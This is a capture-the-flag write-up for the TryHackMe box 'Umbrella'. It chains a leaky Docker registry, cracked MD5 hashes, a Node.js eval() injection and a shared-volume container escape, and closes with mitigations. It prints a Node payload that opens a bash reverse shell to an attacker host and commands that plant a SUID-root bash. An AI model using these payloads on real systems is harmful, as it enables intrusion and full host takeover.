Introduction
Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an eval() code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.
Throughout this writeup, <machine-ip> refers to the target box and <attacker-ip> refers to the attacking Kali host.
Reconnaissance
Started with a standard aggressive Nmap scan against the target.
nmap -A -Pn <machine-ip> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open mysql MySQL 5.7.40
5000/tcp open http Docker Registry (API: 2.0)
8080/tcp open http Node.js (Express middleware)
Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.
Checking the web app first:
curl http://<machine-ip>:8080/
Returned a simple login form posting to /auth, nothing more without credentials.
The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.
Enumerating the Docker Registry
Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:
curl http://<machine-ip>:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}
One repository: umbrella/timetracking. Pulled its tags:
curl http://<machine-ip>:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}
Then pulled the image manifest for latest:
curl http://<machine-ip>:5000/v2/umbrella/timetracking/manifests/latest
The manifest's history array contains the full v1Compatibility build history for every layer, including every ENV instruction baked into the image at build time. Buried in the first history entry's config.Env list:
"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NODE_VERSION=19.3.0",
"YARN_VERSION=1.22.19",
"DB_HOST=db",
"DB_USER=root",
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5",
"DB_DATABASE=timetracking",
"LOG_FILE=/logs/tt.log"]
A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.
MySQL Access and Credential Dump
The MySQL client failed initially over a self-signed cert:
mysql -h <machine-ip>
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain
Disabling SSL verification and authenticating as root with the password pulled from the registry got a shell:
mysql -h <machine-ip> -u root --ssl=0 -p
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| timetracking |
+--------------------+
MySQL [(none)]> use timetracking;
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users |
+------------------------+
MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user | pass | time |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 | 360 |
| chris-r | 0d107d09f5bbe40cade3de5c71e9e9b7 | 420 |
| jill-v | d5c0607301ad5d5c1528962a83992ac8 | 564 |
| barry-b | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. barry-b's time value was a massive outlier compared to the rest, which turned out to be relevant later.
Cracked all four hashes with John and rockyou:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
letmein (?)
sunshine1 (?)
Password1 (?)
sandwich (?)
4g 0:00:00:00 DONE
Matched each cracked password back to its hash with echo -n <pass> | md5sum to build the full mapping:
| user | password |
|---|---|
| claire-r | Password1 |
| chris-r | letmein |
| jill-v | sunshine1 |
| barry-b | sandwich |
Foothold
None of the four pairs worked against the web app's /auth endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only claire-r:Password1 authenticated successfully.
ssh claire-r@<machine-ip>
claire-r@ip-<machine-ip>:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)
Grabbed the user flag immediately:
claire-r@ip-<machine-ip>:~$ cat user.txt
THM{redacted}
sudo -l confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.
Source Code Review and RCE
Claire's home directory contained a full copy of the app's source, timeTracker-src, including app.js, the docker-compose.yml, and a live-writable logs/ directory. The docker-compose.yml confirmed the container layout:
version: '3.3'
services:
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: 'timetracking'
MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
ports:
- '3306:3306'
volumes:
- ./db:/docker-entrypoint-initdb.d
app:
image: umbrella/timetracking:latest
restart: always
ports:
- '8080:8080'
volumes:
- ./logs:/logs
Critically, ./logs:/logs is a bind mount - the logs directory on the host filesystem is the exact same directory the app container writes to, and it's writable by claire-r (drwxrw-rw-).
The vulnerability was in app.js, in the /time route handler:
app.post('/time', function(request, response) {
if (request.session.loggedin && request.session.username) {
let timeCalc = parseInt(eval(request.body.time));
let time = isNaN(timeCalc) ? 0 : timeCalc;
let username = request.session.username;
connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], ...);
}
});
The time field submitted on the "Increase time spent" form goes straight into eval(). The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.
Logged into the web app as claire-r:Password1, then submitted the following as the "time" value on /time:
require('child_process').exec('bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"')
eval() executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:
root@de0610f51845:/usr/src/app# whoami
root
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
Root inside the container - but this is an isolated Docker container, not the host, and docker wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.
Privilege Escalation via Shared Log Volume
Since /logs inside the container is the same filesystem location as ~/timeTracker-src/logs on the host, and the app container is running as root, anything written to /logs from inside the container lands on the host owned by root - with the app's own filesystem permissions.
Confirmed the mount was shared by writing a test file from inside the container:
root@de0610f51845:~# echo 'test' > /logs/test
claire-r@ip-<machine-ip>:~/timeTracker-src$ cat logs/test
test
From there, the plan was simple: drop a copy of bash into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.
root@de0610f51845:~# cp /bin/bash /logs/bash
root@de0610f51845:~# chmod 4777 /logs/bash
Back on the SSH session as claire-r:
claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ ls -la bash
-rwsrwxrwx 1 root root 1234376 Aug 24 10:16 bash
SUID bit set, owned by root. Running it with -p to preserve privileges on exec:
claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ /home/claire-r/timeTracker-src/logs/bash -p
bash-5.1# whoami
root
Root shell on the host. Grabbed the final flag:
bash-5.1# cat /root/root.txt
THM{redacted}
Attack Chain Summary
- Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).
- Docker Registry API's manifest history leaks hardcoded MySQL
rootcredentials via build-timeENVinstructions. - Those credentials authenticate directly to the exposed MySQL instance, dumping the app's
userstable (MD5 password hashes). - rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.
- Credential pair
claire-r:Password1doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag. - Local source code review of the app reveals an
eval()on user-controlled input in the/timeendpoint. - Authenticated RCE via
eval()gets a reverse shell as root - but inside an isolated Docker container. - The container's
docker-compose.ymlshows a bind-mountedlogsvolume shared with the host. Root inside the container drops a SUID-rootbashbinary into that shared path. - The host-side low-privilege user executes the now-SUID binary with
-p, landing a root shell on the host itself and the root flag.
Key Vulnerabilities
- Unauthenticated Docker Registry API exposing image manifests and build history to anyone on the network.
-
Hardcoded secrets in Docker image build args/ENV (
DB_PASSbaked directly into the image instead of injected at runtime via secrets management). -
Directly internet/network-exposed database (MySQL bound to
0.0.0.0reachable from outside the app container). - Weak, dictionary-crackable user passwords stored as unsalted MD5 hashes.
-
Unsafe use of
eval()on user-controlled input, enabling authenticated remote code execution in the Node.js app. - Docker bind mount shared between a root-running container and a lower-privileged host user, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.
Mitigations
- Require authentication (and TLS) on the Docker Registry API; never expose
/v2/_catalogor manifest endpoints to untrusted networks. - Never bake credentials into image layers or
ENVinstructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history. - Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.
- Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.
- Never pass user input into
eval(),Function(), orchild_process.exec()without strict validation; use a safe math-expression parser (e.g.mathjswith restricted scope) if arithmetic input is genuinely needed. - Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount
rwonly for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides. - Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (
--cap-drop=ALL) to reduce the blast radius of an in-container RCE.
Top comments (0)